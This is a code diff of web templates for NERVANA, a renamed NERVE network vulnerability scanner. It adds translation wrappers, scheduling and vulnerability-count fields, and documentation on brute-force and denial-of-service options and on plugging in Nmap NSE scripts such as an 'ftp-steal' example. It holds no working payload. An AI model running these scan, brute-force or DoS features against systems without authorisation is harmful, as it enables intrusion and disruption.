@@ -256,7 +223,7 @@

Assessment

- Calls back at the end of the assessment with relevant data (JSON POST) + {{_('Calls back at the end of the assessment with relevant data (JSON POST)')}}
@@ -264,7 +231,7 @@

Assessment

- +
@@ -300,11 +267,107 @@

Assessment

}); + + + - \ No newline at end of file + diff --git a/templates/assets.html b/templates/assets.html index 4b1780b..5f32ed0 100644 --- a/templates/assets.html +++ b/templates/assets.html @@ -4,12 +4,12 @@ - NERVE + NERVANA - + @@ -18,66 +18,28 @@
- - + +
-

Assets

+

{{_('Assets')}}

-
Assets
+
{{_('Assets')}}

- - - - - + + + + + {% if data %} @@ -143,4 +105,4 @@
{% if values.os %} {{values.os}} {% endif {% endwith %} - \ No newline at end of file + diff --git a/templates/console.html b/templates/console.html index 2f1e843..856e2e0 100644 --- a/templates/console.html +++ b/templates/console.html @@ -4,11 +4,11 @@ - NERVE + NERVANA - + @@ -16,60 +16,23 @@
- - + +
-

Console

+

{{_('Console')}}

-
Console Output
+
{{_('Console Output')}}
-

This console will start populating once data comes in...

- File is streaming... +

{{_('This console will start populating once data comes in...')}}

+ {{_('File is streaming...')}}
              
                                   
- +
@@ -108,4 +71,4 @@

Console

}, 1000); - \ No newline at end of file + diff --git a/templates/dashboard.html b/templates/dashboard.html index 13a3391..4058460 100644 --- a/templates/dashboard.html +++ b/templates/dashboard.html @@ -5,11 +5,11 @@ {% if status != "Ready" %}{% endif %} - NERVE + NERVANA - + @@ -18,50 +18,12 @@
- - + +
-
- +
-
+
@@ -72,7 +34,7 @@
-

Hosts Discovered

+

{{_('Hosts Discovered')}}

{{hosts|length}}
@@ -80,13 +42,13 @@
-
+
@@ -97,7 +59,7 @@
-

Scans Executed

+

{{_('Scans Executed')}}

{{scan_count.decode('utf-8')}}
@@ -105,13 +67,13 @@
-
+
@@ -122,7 +84,7 @@
-

Last Scanned

+

{{_('Last Scanned')}}

{{last_scan.decode('utf-8')}}
@@ -130,13 +92,13 @@
-
+
@@ -147,15 +109,44 @@
-

Total Vulnerabilities

- {{vulns|length}} +

{{_('Confirmed Vulns')}}

+ + {{ total_confirmed_vulns }} + +
+
+
+ +
+
+
+
+
+
+
+
+
+ +
+
+
+
+

{{_('Potential Vulns')}}

+ + {{ total_potential_vulns }} +
@@ -168,7 +159,7 @@
-

Vulnerability Distribution

+

{{_('Vulnerability Distribution')}}

@@ -182,7 +173,7 @@

Vulnerability Distribution

-

Port Distribution

+

{{_('Port Distribution')}}

@@ -198,15 +189,15 @@

Port Distribution

-

Networks Scanned

-

Your last assessment included these networks

+

{{_('Networks Scanned')}}

+

{{_('Your last assessment included these networks')}}

#IP AddressDomainPortsServicesOperating System{{_('IP Address')}}{{_('Domain')}}{{_('Ports')}}{{_('Services')}}{{_('Operating System')}}
- + {% if networks %} @@ -223,15 +214,15 @@

Networks Scanned


-

Domains Scanned

-

Your last assessment included these domains

+

{{_('Domains Scanned')}}

+

{{_('Your last assessment included these domains')}}

Networks{{_('Networks')}}
- + {% if domains %} @@ -255,15 +246,15 @@

Domains Scanned

-

Live Hosts

-

These hosts were identified to be alive

+

{{_('Live Hosts')}}

+

{{_('These hosts were identified to be alive')}}

Domains{{_('Domains')}}
- + {% if hosts %} @@ -306,14 +297,14 @@

Live Hosts

var myChart1 = new Chart(donut, { type: 'doughnut', data: { - labels: ["Critical", "High", "Medium", "Low"], + labels: ["{{gettext("Critical")}}", "{{gettext("High")}}", "{{gettext("Medium")}}", "{{gettext("Low")}}", "{{gettext("Undefined")}}", "{{gettext("Potential")}}"], datasets: [{ {% if chart %} - data: [{{chart.4}}, {{chart.3}}, {{chart.2}}, {{chart.1}}], + data: [{{chart.4}}, {{chart.3}}, {{chart.2}}, {{chart.1}}, {{chart.5}}, {{chart.6}}], {% else %} - data: [0, 0, 0, 0], + data: [0, 0, 0, 0, 0, 0], {% endif %} - backgroundColor: ["black","red","orange","green"], + backgroundColor: ["black","red","orange","green","grey","purple"], }] }, options: { @@ -357,7 +348,7 @@

Live Hosts

}, options: { legend: {position: 'top',display: false,}, - title: {display: true,text: 'Ports'}, + title: {display: true,text: '{{gettext('Ports')}}'}, scale: { angleLines: { display: false @@ -385,4 +376,4 @@

Live Hosts

{% endwith %} - \ No newline at end of file + diff --git a/templates/documentation.html b/templates/documentation.html index 380e904..41ec68e 100644 --- a/templates/documentation.html +++ b/templates/documentation.html @@ -4,12 +4,12 @@ - NERVE + NERVANA - + @@ -17,180 +17,146 @@
- + +
-

Graphical User Interface

+

{{_('Graphical User Interface')}}

-
Usage
+
{{_('Usage')}}
-

Quickstart

-

Quickstart is the best way to try out NERVE in its most simplest form. Think of it as running a basic scan, without the ability to define how it will execute.

-

By using this option, you are required to specify Network CIDR notations, Quickstart doesn't support DNS.

-

For example, if you want to scan your home network, you could simply type 192.168.0.0/24. Of course, the IP will depend on your router's IP scope.

+

{{_('Quickstart')}}

+

{{_('Quickstart is the best way to try out NERVANA in its most simplest form. Think of it as running a basic scan, without the ability to define how it will execute.')}}

+

{{_('By using this option, you are required to specify')}} {{_('Network CIDR notations')}}, {{_('Quickstart')}} {{_('does not support DNS.')}}

+

{{_('For example, if you want to scan your home network, you could simply type')}} 192.168.0.0/24. {{_('Of course, the IP will depend on your router IP scope.')}}


-

The settings of the scan if you choose to use Quickstart is as follows:

+

{{_('The settings of the scan if you choose to use Quickstart are as follows:')}}

    -
  • Exclusions: None
  • -
  • Aggressive level: Maximum
  • -
  • Denial of Service: Disabled
  • -
  • Brute Force: Disabled
  • -
  • Outbound Internet Connections: Enabled
  • -
  • Interface: Default
  • -
  • Max Ports: 100
  • -
  • Parallel Scan: 50
  • -
  • Parallel Attack: 30
  • -
  • Post Event: None
  • -
  • Frequency: Once
  • +
  • {{_('Exclusions:')}} {{_('None')}}
  • +
  • {{_('Aggressive level:')}} {{_('Maximum')}}
  • +
  • {{_('Denial of Service:')}} {{_('Disabled')}}
  • +
  • {{_('Brute Force:')}} {{_('Disabled')}}
  • +
  • {{_('Outbound Internet Connections:')}} {{_('Enabled')}}
  • +
  • {{_('Interface:')}} {{_('Default')}}
  • +
  • {{_('Max Ports:')}} 100
  • +
  • {{_('Parallel Scan:')}} 50
  • +
  • {{_('Parallel Attack:')}} 30
  • +
  • {{_('Post Event:')}} {{_('None')}}
  • +
  • {{_('Frequency:')}} {{_('Once')}}
  • +
  • {{_('Schedule Date:')}} {{_('None')}}

-

Assessment

-

Assessment is where you configure your first advanced scan.

-

General

-

You start by defining some metadata about your scan.

-

Assessment Title

-

This is the name of the assessment. This name appears in the reports you generate in the GUI, such as the HTML. It will also show up in the API output when you call /api/scan/status

-

Assessment Description

-

This is the description of the assessment. It's a free text description of what this assessment is about. similiarly to the Assessment Title, it will show up in the API output when you call /api/scan/status

-

Name of Engineer

-

This is a field to describe who is running the assessment. Similiarly to the Assessment Title, it will show up in the reports, and also in the API output when you call /api/scan/status

+

{{_('Assessment')}}

+

{{_('Assessment is where you configure your first advanced scan.')}}

+

{{_('General')}}

+

{{_('You start by defining some metadata about your scan.')}}

+

{{_('Assessment Title')}}

+

{{_('This is the name of the assessment. This name appears in the reports you generate in the GUI, such as the HTML. It will also show up in the API output when you call')}} /api/scan/status

+

{{_('Assessment Description')}}

+

{{_("This is the description of the assessment. It's a free text description of what this assessment is about. Similiarly to the")}} {{_('Assessment Title')}}, {{_('it will show up in the API output when you call')}} /api/scan/status

+

{{_('Name of Engineer')}}

+

{{_('This is a field to describe who is running the assessment. Similiarly to the')}} {{_('Assessment Title')}}, {{_('it will show up in the reports, and also in the API output when you call')}} /api/scan/status


-

Targets

-

Targets are the endpoints that will be scanned and assessed. These can be IP addresses, Domains and Subdomains.

-

NERVE doesn't do DNS discovery for a given parent domain. There are tools you could potentially use in conjuction with NERVE that will do this work for you. Such as Passive DNS, RiskIQ, Fierce, OWASP Amass, etc.

-

Networks

-

This field takes a list of CIDR Networks (Comma separated). Example: 212.199.1.0/24, 212.199.2.0/24

-

Excluded Networks

-

This field takes a list of CIDR Networks (Comma separated). Example: 212.199.1.1/32, 212.199.2.1/32. Note: Any networks defined here will be excluded from the assessment.

-

Domains

-

This field takes a list of DNS records (Comma separated). Example: example.com, sub.example.com

+

{{_('Targets')}}

+

{{_('Targets are the endpoints that will be scanned and assessed. These can be IP addresses, Domains and Subdomains.')}}

+

{{_("NERVANA doesn't do DNS discovery for a given parent domain. There are tools you could potentially use in conjuction with NERVANA that will do this work for you. Such as Passive DNS, RiskIQ, Fierce, OWASP Amass, etc.")}}

+

{{_('Networks')}}

+

{{_('This field takes a list of CIDR Networks (Comma separated). Example:')}} 212.199.1.0/24, 212.199.2.0/24

+

{{_('Excluded Networks')}}

+

{{_('This field takes a list of CIDR Networks (Comma separated). Example:')}} 212.199.1.1/32, 212.199.2.1/32. {{_('Note: Any networks defined here will be excluded from the assessment.')}}

+

{{_('Domains')}}

+

{{_('This field takes a list of DNS records (Comma separated). Example:')}} {{_('example.com, sub.example.com')}}


-

Configuration

-

This is where the advanced configuration of the scan is defined.

-

Aggressiveness Level

-

This is going to ultimately decide which rules (checking if SSH is open is an example of a rule) run against your target scope. The more aggressive it is, the more rules are going to run.

-

For example, a rule that makes a lot of HTTP GET requests will be run only if you choose the use the aggressive mode. A rule that checks if a port is open, would run under all conditions.

-

Allow Outbound Connections

-

Some rules require making outbound internet connections, such as checking against CVE lists, etc.

-

If you run NERVE internally in a dark network without internet, you could simply toggle this off.

-

Attempt Brute Force Attacks

-

Some rules can run brute force attacks against a given server. For example, if a server is determined to have an SSH port open and it also accepts passwords as a mean of authentication, NERVE can attempt to run through a list of passwords and try to authenticate.

-

Note that if you provide a list of usernames and passwords via the Dictionary option, it may take a long time for a full assessment to complete. Use with caution.

-

Attempt Denial of Service Attacks

-

Some rules can run test for Denial of Service vulnerabilities against a given server. Disable if you want to ensure your services are not bombarded.

-

Ethernet

-

Defining the Ethernet to use for port scanning. This is optional. if nothing is specified, it will use the default.

- -

Maximum Ports

-

This is a relatively important option. NERVE starts the assessment by executing a port scan. The more ports you scan for, the less likely you will miss things.

-

However, scanning for many ports has a cost (time), thus, we typically recommend scanning for the top 1000-4000 ports. Find the balance that works for you. - Too little ports means you may miss out on services, but the scan is going to be faster. Too many means you may sacrifice speed.

-

The default value for maximum ports is 100 ports (this ensures that at least http/https/ftp/ssh are covered).

+

{{_('Configuration')}}

+

{{_('This is where the advanced configuration of the scan is defined.')}}

+

{{_('Aggressiveness Level')}}

+

{{_('This is going to ultimately decide which rules (checking if SSH is open is an example of a rule) run against your target scope. The more aggressive it is, the more rules are going to run.')}}

+

{{_('For example, a rule that makes a lot of HTTP GET requests will be run only if you choose the use the aggressive mode. A rule that checks if a port is open, would run under all conditions.')}}

+

{{_('Allow Outbound Connections')}}

+

{{_('Some rules require making outbound internet connections, such as checking against CVE lists, etc.')}}

+

{{_('If you run NERVANA internally in a dark network without internet, you could simply toggle this off.')}}

+

{{_('Attempt Brute Force Attacks')}}

+

{{_('Some rules can run brute force attacks against a given server. For example, if a server is determined to have an SSH port open and it also accepts passwords as a mean of authentication, NERVANA can attempt to run through a list of passwords and try to authenticate.')}}

+

{{_('Note that if you provide a list of usernames and passwords via the ')}}{{_('Dictionary option')}}{{_(', it may take a long time for a full assessment to complete. Use with caution.')}}

+

{{_('Attempt Denial of Service Attacks')}}

+

{{_('Some rules can run test for Denial of Service vulnerabilities against a given server. Disable if you want to ensure your services are not bombarded.')}}

+

{{_('Ethernet')}}

+

{{_('Defining the Ethernet to use for port scanning. This is optional, if nothing is specified, it will use the default.')}}

+ +

{{_('Maximum Ports')}}

+

{{_('This is a relatively important option. NERVANA starts the assessment by executing a port scan. The more ports you scan for, the less likely you will miss things.')}}

+

{{_('However, scanning for many ports has a cost (time), thus, we typically recommend scanning for the top 1000-4000 ports. Find the balance that works for you. + Too little ports means you may miss out on services, but the scan is going to be faster. Too many means you may sacrifice speed.')}}

+

{{_('The default value for maximum ports is ')}}100{{_(' ports (this ensures that at least http/https/ftp/ssh are covered).')}}

-

Custom Ports

-

You could specify your own custom list of ports. NERVE starts the assessment by executing a port scan. The more ports you scan for, the less likely you will miss things.

-

By default, if you do not specify a Custom Port list, NERVE will use the Maximum Ports value of 100.

-

If you specify both Maximum Ports and Custom Ports, Custom Ports will take presedence and Maximum Ports will simply be ignored.

+

{{_('Custom Ports')}}

+

{{_('You could specify your own custom list of ports. NERVANA starts the assessment by executing a port scan. The more ports you scan for, the less likely you will miss things.')}}

+

{{_('By default, if you do not specify a Custom Port list, NERVANA will use the Maximum Ports value of ')}}100.

+

{{_('If you specify ')}}{{_('both')}}{{_(' Maximum Ports and Custom Ports, ')}}{{_('Custom Ports will take presedence')}}{{_(' and Maximum Ports will simply be ignored.')}}

-

Parallel Scan

-

This value represents the number of hosts which will be scanned simultaneously, for example, 60 means the port scan will run against 60 hosts at the same time.

-

The default value for Parallel Scan is 50

-

Parallel Attack

-

This value represents the number of hosts which will be attacked simultaneously, for example, 60 means the attack rules will run against 60 hosts at the same time.

-

The default value for Parallel Attack is 30

+

{{_('Parallel Scan')}}

+

{{_('This value represents the number of hosts which will be scanned simultaneously, for example, 60 means the port scan will run against 60 hosts at the same time.')}}

+

{{_('The default value for Parallel Scan is ')}}50

+

{{_('Parallel Attack')}}

+

{{_('This value represents the number of hosts which will be attacked simultaneously, for example, 60 means the attack rules will run against 60 hosts at the same time.')}}

+

{{_('The default value for Parallel Attack is ')}}30


-

Dictionary

-

Dictionary allows you to bring your own usernames and credentials list.

-

When the Attempt Brute Force option is enabled, we will take your list and run it against any brute-forceable services we identify.

-

If you do not provide a list of usernames and passwords, we will simply use our (very short) list of usernames and passwords.

-

Think of this more of a sanity check, than a comprehensive brute force attempt. Our goal is not to try millions of passwords, this will not be efficient.

-

When providing the list, make sure it is separated by a new line, e.g.

+

{{_('Dictionary')}}

+

{{_('Dictionary allows you to bring your own usernames and credentials list.')}}

+

{{_('When the ')}}{{_('Attempt Brute Force')}}{{_(' option is enabled, we will take your list and run it against any brute-forceable services we identify.')}}

+

{{_('If you do not provide a list of usernames and passwords, we will simply use our (very short) list of usernames and passwords.')}}

+

{{_('Think of this more of a sanity check, than a comprehensive brute force attempt. Our goal is not to try millions of passwords, this will not be efficient.')}}

+

{{_('When providing the list, make sure it is separated by a new line, e.g.')}}

password123
admin123


-

Schedule

-

Schedule is how often you want to run an assessment. There are 2 options: Once and Continuously

-

Once means a scan will run 1 time, and then it's over.

-

Continuously means, a scan will run, and then another 1 will follow, until the end of humanity.

-

When running in Continuous Mode, a "Status" indicator will appear on the sidebar (Menu bar) indicating the system will run forever.
- If you want to stop, just click on the new button that will appear on the side bar called Reset System. - -

To achieve true Continuous Security, we recommend to run it in Continuous mode.

+

{{_('Schedule')}}

+

{{_('Schedule is when and how often you want to run an assessment. There are 3 options: ')}}{{_('Once')}}, {{_('Schedule')}}{{_(' and ')}}{{_('Continuously')}}

+

{{_('Once')}}{{_(" means a scan will run 1 time inmediately, and then it's over.")}}

+

{{_('Schedule')}}{{_(' means you can schedule the time the scan will run.')}}

+

{{_('A calendar input will appear if using this mode. You can set the execution date through the calendar or directly into the input field.')}}

+

{{_('Continuously')}}{{_(' means, a scan will run, and then another one will follow, until the end of humanity.')}}

+

{{_('When running in Continuous Mode, a "Status" indicator will appear on the sidebar (Menu bar) indicating the system will run forever.')}}
+ {{_('If you want to stop, just click on the new button that will appear on the side bar called ')}}{{_('Reset System')}}. + +

{{_('To achieve true Continuous Security, we recommend to run it in Continuous mode.')}}


-

Post Event

-

You can configure NERVE to send you post events.

-

Web Hook

-

A web hook is basically a post-process event that happens after some condition is met (such as, after a scan is completed.)

-

NERVE can send you the Assessment data as soon as a scan completes, to an endpoint of your choice. Your endpoint must be able to be accessed by NERVE, and receive JSON data.

-

The data NERVE is going to send, may look like the following:

+

{{_('Post Event')}}

+

{{_('You can configure NERVANA to send you post events.')}}

+

{{_('Web Hook')}}

+

{{_('A web hook is basically a post-process event that happens after some condition is met (such as, after a scan is completed.)')}}

+

{{_('NERVANA can send you the Assessment data as soon as a scan completes, to an endpoint of your choice. Your endpoint must be able to be accessed by NERVANA, and receive JSON data.')}}

+

{{_('The data NERVANA is going to send, may look like the following:')}}

 {
   "status":"done",
@@ -244,7 +210,8 @@ 

Post Event

"post_event":{ "webhook":"http://192.168.1.10:8000" }, - "frequency":"once" + "frequency":"once", + "schedule_date":"" }, "metadata":{ "unique_id":"be3c7849", @@ -256,51 +223,51 @@

Post Event

} } }
-

A webhook endpoint may look like this: http://example.com/recieve, or with a specified port https://example.com:8000/receive

+

{{_('A webhook endpoint may look like this: ')}}http://example.com/recieve,{{_(' or with a specified port ')}}https://example.com:8000/receive


-

Reports

-

NERVE supports 3 types of reports. These reports are only available via the Web Interface.

+

{{_('Reports')}}

+

{{_('NERVANA supports 3 types of reports. These reports are only available via the Web Interface.')}}

  • HTML
  • TXT
  • CSV
  • XML
-

All the reports are saved on disk at /opt/nerve/reports if you need to go back in time and fetch historical reports.

-

If you want to obtain the results of your assessment via the API, use the endpoint /api/scan/status

+

{{_('All the reports are saved on disk at ')}}/opt/nerve/reports{{_(' if you need to go back in time and fetch historical reports.')}}

+

{{_('If you want to obtain the results of your assessment via the API, use the endpoint ')}}/api/scan/status


-

Notifications

-

NERVE supports delivering notifications via 2 methods: Email or Slack.

-

You can find these settings under the top right menu (Username) -> Settings

-

For email, you can use Amazon SES or a different provider. You will receive an attachment with the findings in a JSON format, once a scan is completed.

-

For slack, use an incoming webhook and paste the URL Slack gives you at the end of the process. You will receive a slack notification with the results once a scan is completed.

- If you want to obtain the results of your assessment via the API, use the endpoint /api/scan/status +

{{_('Notifications')}}

+

{{_('NERVANA supports delivering notifications via 2 methods: ')}}Email{{_(' or ')}}Slack.

+

{{_('You can find these settings under the top right menu (Username) -> Settings')}}

+

{{_('For email, you can use Amazon SES or a different provider. You will receive an attachment with the findings in a JSON format, once a scan is completed.')}}

+

{{_('For slack, use an ')}}{{_('incoming webhook')}}{{_(' and paste the URL Slack gives you at the end of the process. You will receive a slack notification with the results once a scan is completed.')}}

+ {{_('If you want to obtain the results of your assessment via the API, use the endpoint ')}}/api/scan/status
-

Security

-

There are a few security mechanisms implemented into NERVE you need to be aware of.

+

{{_('Security')}}

+

{{_('There are a few security mechanisms implemented into NERVANA you need to be aware of.')}}

    -
  • Content Security Policy - A response header which controls where resource scan be loaded from.
  • -
  • Other Security Policies - These Response headers are enabled: Content-Type Options, X-XSS-Protection, X-Frame-Options, Referer-Policy
  • -
  • Brute Force Protection - A user will get locked if more than 5 incorrect login attempts are made.
  • -
  • Cookie Protection - Cookie security flags are used, such as SameSite, HttpOnly, etc.
  • +
  • Content Security Policy{{_(' - A response header which controls where resource scan be loaded from.')}}
  • +
  • {{_('Other Security Policies')}}{{_(' - These Response headers are enabled: Content-Type Options, X-XSS-Protection, X-Frame-Options, Referer-Policy')}}
  • +
  • {{_('Brute Force Protection')}}{{_(' - A user will get locked if more than 5 incorrect login attempts are made.')}}
  • +
  • {{_('Cookie Protection')}}{{_(' - Cookie security flags are used, such as SameSite, HttpOnly, etc.')}}
- If you identify a security vulnerability, please submit a bug to us on GitHub. + {{_('If you identify a security vulnerability, please submit a bug to us on GitHub.')}}

Upgrade

-

If you want to upgrade your platform, the fastest way is to simply git clone and overwrite all the files while keeping key files such as configurations.

+

{{_('If you want to upgrade your platform, the fastest way is to simply git clone and overwrite all the files while keeping key files such as configurations.')}}

    -
  1. Make a copy of config.py if you wish to save your configurations
  2. -
  3. Remove /opt/nerve and git clone it again from: GitHub
  4. -
  5. Move config.py file back into /opt/nerve
  6. -
  7. Restart the service using systemctl restart nerve
  8. +
  9. {{_('Make a copy of ')}}config.py{{_(' if you wish to save your configurations')}}
  10. +
  11. {{_('Remove ')}}/opt/nerve{{_(' and git clone it again from: ')}}GitHub
  12. +
  13. {{_('Move ')}}config.py{{_(' file back into ')}}/opt/nerve
  14. +
  15. {{_('Restart the service using ')}}systemctl restart nerve
-

You could set up a cron task auto-upgrade NERVE, there's an API endpoint to check whether you have the latest version or not that you could use for this purpose: /api/update/platform

+

{{_("You could set up a cron task auto-upgrade NERVANA, there's an API endpoint to check whether you have the latest version or not that you could use for this purpose: ")}}/api/update/platform


-

Miscellaneous

-
Web Interface Logo
-

If you want to brand NERVE with your own Logo, simply replace static/img/nerve_logo.png with your own picture.
400px x 100px is the recommended size.

+

{{_('Miscellaneous')}}

+
{{_('Web Interface Logo')}}
+

{{_('If you want to brand NERVANA with your own Logo, simply replace ')}}static/img/nervana_logo_black.png{{_(' with your own picture.')}}
{{_('400px x 100px is the recommended size.')}}

@@ -319,14 +286,14 @@

API

-
Usage
+
{{_('Usage')}}
-

Table of Contents

+

{{_('Table of Contents')}}

-

Welcome to the API section of NERVE.

-

NERVE's API is simple, you can post a scan, get the scan result and status, and reset the system.

-

For posting a scan, NERVE uses the same settings that exist in the Web Interface, should you need to understand more about what a particular setting does, just refer to the Graphical User Interface section of the document.

+

{{_('Welcome to the API section of NERVANA.')}}

+

{{_("NERVANA's API is simple, you can post a scan, get the scan result and status, and reset the system.")}}

+

{{_('For posting a scan, NERVANA uses the same settings that exist in the Web Interface, should you need to understand more about what a particular setting does, just refer to the ')}}{{_('Graphical User Interface section')}}{{_(' of the document.')}}

@@ -353,13 +320,13 @@

API

-

Authentication

+

{{_('Authentication')}}

-
Authentication
+
{{_('Authentication')}}
-

API Authentication is done using Basic Authentication.

-

Basic authentication is a simple authentication scheme built into the HTTP protocol. The client sends HTTP requests with the Authorization header that contains the word Basic word followed by a space and a base64-encoded string username:password

-

With each API call, you need to pass the credentials. Here is an example with Python and the requests library:

+

{{_('API Authentication is done using Basic Authentication.')}}

+

{{_('Basic authentication is a simple authentication scheme built into the HTTP protocol. The client sends HTTP requests with the Authorization header that contains the word Basic word followed by a space and a base64-encoded string username:password')}}

+

{{_('With each API call, you need to pass the credentials. Here is an example with Python and the requests library:')}}

 import requests
 from requests.auth import HTTPBasicAuth
@@ -376,7 +343,7 @@ 

Authentication

-

API Table

+

{{_('API Table')}}

API Endpoints
@@ -384,10 +351,10 @@

API Table

- - - - + + + + @@ -395,50 +362,50 @@

API Table

- - + + - - + + - - + + - - + + - - + + - - + + - - + +
IP Addresses{{_('IP Addresses')}}
IDMethodEndpointAuthenticationInformation{{_('Method')}}{{_('Endpoint')}}{{_('Authentication')}}{{_('Information')}}
1. GET /healthFalseReturns Server Health Status{{_('False')}}{{_('Returns Server Health Status')}}
2. POST /api/scanTrueSubmits an Assessment{{_('True')}}{{_('Submits an Assessment')}}
3. GET /api/scan/statusTrueReturns Assessment Status & Results{{_('True')}}{{_('Returns Assessment Status & Results')}}
4. PUT /api/scan/resetTrueResets the Server. Roll Back.{{_('True')}}{{_('Resets the Server. Roll Back.')}}
5. GET /api/exclusionTrueReturns the current exclusion list{{_('True')}}{{_('Returns the current exclusion list')}}
6. POST /api/exclusionTrueSubmits an exclusion list{{_('True')}}{{_('Submits an exclusion list')}}
7. GET /api/update/platformTrueChecks if updates are available{{_('True')}}{{_('Checks if updates are available')}}
@@ -455,7 +422,7 @@

API Table

GET /health

-

Health is an endpoint to do basic sanity-checks for monitoring systems, etc.

+

{{_('Health is an endpoint to do basic sanity-checks for monitoring systems, etc.')}}

GET /health
@@ -475,8 +442,8 @@

GET /health

POST /api/scan

-

This endpoint is where you can submit new scans with a configuration file similar to the Web Interface.
- The configuration file must be provided as-is without removing any entries.

+

{{_('This endpoint is where you can submit new scans with a configuration file similar to the Web Interface.')}}
+ {{_('The configuration file must be provided as-is without removing any entries.')}}

POST /api/scan
@@ -512,7 +479,8 @@

POST /api/scan

'post_event':{ 'webhook':None }, - 'frequency':'once' + 'frequency':'once', + 'schedule_date':'' } } @@ -532,8 +500,8 @@

POST /api/scan

GET /api/scan/status

-

This endpoint is where you can view the state of a running scan.
- Note that you do not need to wait for a scan to complete, results will be shown as soon as new data is created.

+

{{_('This endpoint is where you can view the state of a running scan.')}}
+ {{_('Note that you do not need to wait for a scan to complete, results will be shown as soon as new data is created.')}}

GET /api/scan/status
@@ -564,7 +532,7 @@

GET /api/scan/status

PUT /api/scan/reset

-

This endpoint allows you to reset the system / stop a currently running assessment (such as continuous)

+

{{_('This endpoint allows you to reset the system / stop a currently running assessment (such as continuous)')}}

PUT /api/scan/reset
@@ -586,8 +554,8 @@

PUT /api/scan/reset

GET /api/exclusion

-

This endpoint is where you get the current exclusion list.
- You may want to the Exclusion functionality to prevent certain traffic from running against certain assets, or to prevent certain alerts from getting created.

+

{{_('This endpoint is where you get the current exclusion list.')}}
+ {{_('You may want to use the Exclusion functionality to prevent certain traffic from running against certain assets, or to prevent certain alerts from getting created.')}}

GET /api/exclusion
@@ -609,8 +577,8 @@

GET /api/exclusion

POST /api/exclusion

-

This endpoint is where you can submit an exclusion list. The JSON in your POST must have a valid format as shown below.
- Rule IDs can be retrieved from /opt/nerve/rules/**/*.py files

+

{{_('This endpoint is where you can submit an exclusion list. The JSON in your POST must have a valid format as shown below.')}}
+ {{_('Rule IDs can be retrieved from')}} /opt/nerve/rules/**/*.py {{_('files')}}

POST /api/exclusion
@@ -640,7 +608,7 @@

POST /api/exclusion

GET /api/update/platform

-

This endpoint allows you to check if you have the latest NERVE version.

+

{{_('This endpoint allows you to check if you have the latest NERVANA version.')}}

GET /api/update/platform
@@ -660,6 +628,89 @@

GET /api/update/platform

+
+
+
+
+

{{_('Add new scripts')}}

+ +

{{_('Additional custom scripts can be added to NERVANA scans by users. The tool by default accepts scripts in a specific Python format, some scripts that follow this format are stored in folder "rules", they can be used as reference when developing custom scripts. To add this type of scripts, just store them in any subfolder of "rules".')}}

+
+ +

{{_('NERVANA also allows the execution of scripts in ')}}Nmap Scripting Engine(NSE){{_(' format. Scripts in this format can also be added to the tool following the steps mentioned below. Although it is important to note that depending on the amount of additional information the script provides that some functionalities will be limited. Adding to this, some additional modifications must be done to the tool in order to incorporate the script and use all the features of the tool.')}}

+ +
+

{{_('Steps')}}

+

1. {{_('Add the new script to the tool.')}}

+

{{_('If the script is located in the Nmap scripts folder, then only the name of the script must be added to the variable')}} NMAP_SCRIPTS_IN_ASSESSMENT {{_('located in')}} config.py.

+

{{_('In other cases, the script must be added to the')}} nerve/rules/nse" {{_('folder.')}}

+

2. {{_('[Optional]')}}{{_(" Add parameters accepted by script in file 'config.py'. This value will be used in future scans. Everytime the value modified, the application must be restarted in order to apply the changes.")}}

+
+ +

{{_('The parameter is given to the script through a variable defined in config.py file, the format used for the variable is the following: ')}}{{_('NAME_OF_SCRIPT_NAME_OF_PARAMETER = value')}}

+
+ +

{{_('Where:')}}

+
    +
  • {{_("'NAME_OF_SCRIPT' is the name of the file of the script.")}}
  • +
  • {{_("'NAME_OF_PARAMETER' is the name of the parameter accepted by the script.")}}
  • +
  • {{_("'value' is the value that the parameter will adopt when running the script.")}}
  • +
+
+ +

{{_('Other things to consider:')}}

+
    +
  • {{_("The variable name is defined by the union of 'NAME_OF_SCRIPT' and 'NAME_OF_PARAMETER' using the character '_'.")}}
  • +
  • {{_('The variable can be defined in upper or lower case.')}}
  • +
  • {{_("Erase file type from 'NAME_OF_SCRIPT'. For example, if file is called 'ftp_exploit.nse' it should be used as 'FTP_EXPLOIT'.")}}
  • +
  • {{_("If file name includes character '-' it needs to be replaced by character '_'. For instance, if file is called 'ftp-exploit' then the result would be 'FTP_EXPLOIT'.")}}
  • +
  • {{_("Lastly, if name of parameter includes character '.' replace by character '_'. This way parameter 'brute.credfile' needs to be transformed to 'BRUTE_CREDFILE' to be used.")}}
  • +
+
+ +

{{_('One final example encompassing all these rules is mentioned here: For ')}}{{_("file 'ftp-steal.nse'")}}{{_(' with ')}}{{_("parameter 'brute.credfile'")}}{{_(' and ')}}{{_("value './credfile'")}}.{{_(' The corresponding variable would be ')}}{{_("'FTP_STEAL_BRUTE_CREDFILE = ./credfile'")}}

+
+ +

3. {{_('[Optional]')}}{{_(' Add support to different types of outputs provided by script. This allows the tool to correctly determine when a vunerability is found by the script.')}}

+
+ +

{{_("This feature can be added by modifying the function 'verify_output in file 'core/nse_script.py'. Programming knowledge is required in order to parse the different outputs.")}}

+
+ +

4. {{_('[Optional]')}}{{_(" Add metadata to scripts. The supported fields are the following:")}}

+
    +
  • {{_('Description: ')}}{{_('Description of the attack or analysis done by the script.')}}
  • +
  • {{_('Severity: ')}}{{_('Indicates the severity level of the script. In other words, how critical is the vulnerability associated. It ranges from 0 to 6, where:')}} +
      +
    • 0: {{_('Informational')}}
    • +
    • 1: {{_('Low')}}
    • +
    • 2: {{_('Medium')}}
    • +
    • 3: {{_('High')}}
    • +
    • 4: {{_('Critical')}}
    • +
    • 5: {{_('Unknown')}}
    • +
    • 6: {{_('Undefined')}}
    • +
    +
  • +
  • {{_('Confirm: ')}}{{_('Detail of the vulnerability found.')}}
  • +
  • {{_('Mitigation: ')}}{{_('Steps needed to mitigate the vulnerability.')}}
  • +
  • {{_('Intensity: ')}}{{_("Same as 'aggressiveness level' used by NERVANA. Determines the impact of the running script on its targets. Value ranges from 0 - 3. Where:")}} + +
      +
    • 0: {{_('Gentle')}}
    • +
    • 1: {{_('Mildly Aggreessive')}}
    • +
    • 2: {{_('Aggressive')}}
    • +
    • 3: {{_('Extremely Agressive')}}
    • +
    +
  • +
+
+ +

{{_('A NSE script containing all metadata fields is available in')}} "rules/nse/ftp-steal.nse".

+ +
+
+ +
@@ -681,4 +732,4 @@

GET /api/update/platform

{% endwith %} - \ No newline at end of file + diff --git a/templates/login.html b/templates/login.html index 04c4263..8a47824 100644 --- a/templates/login.html +++ b/templates/login.html @@ -4,7 +4,7 @@ - NERVE + NERVANA @@ -17,26 +17,24 @@
- -
- Powered by Paytm +
- +
- +
- +
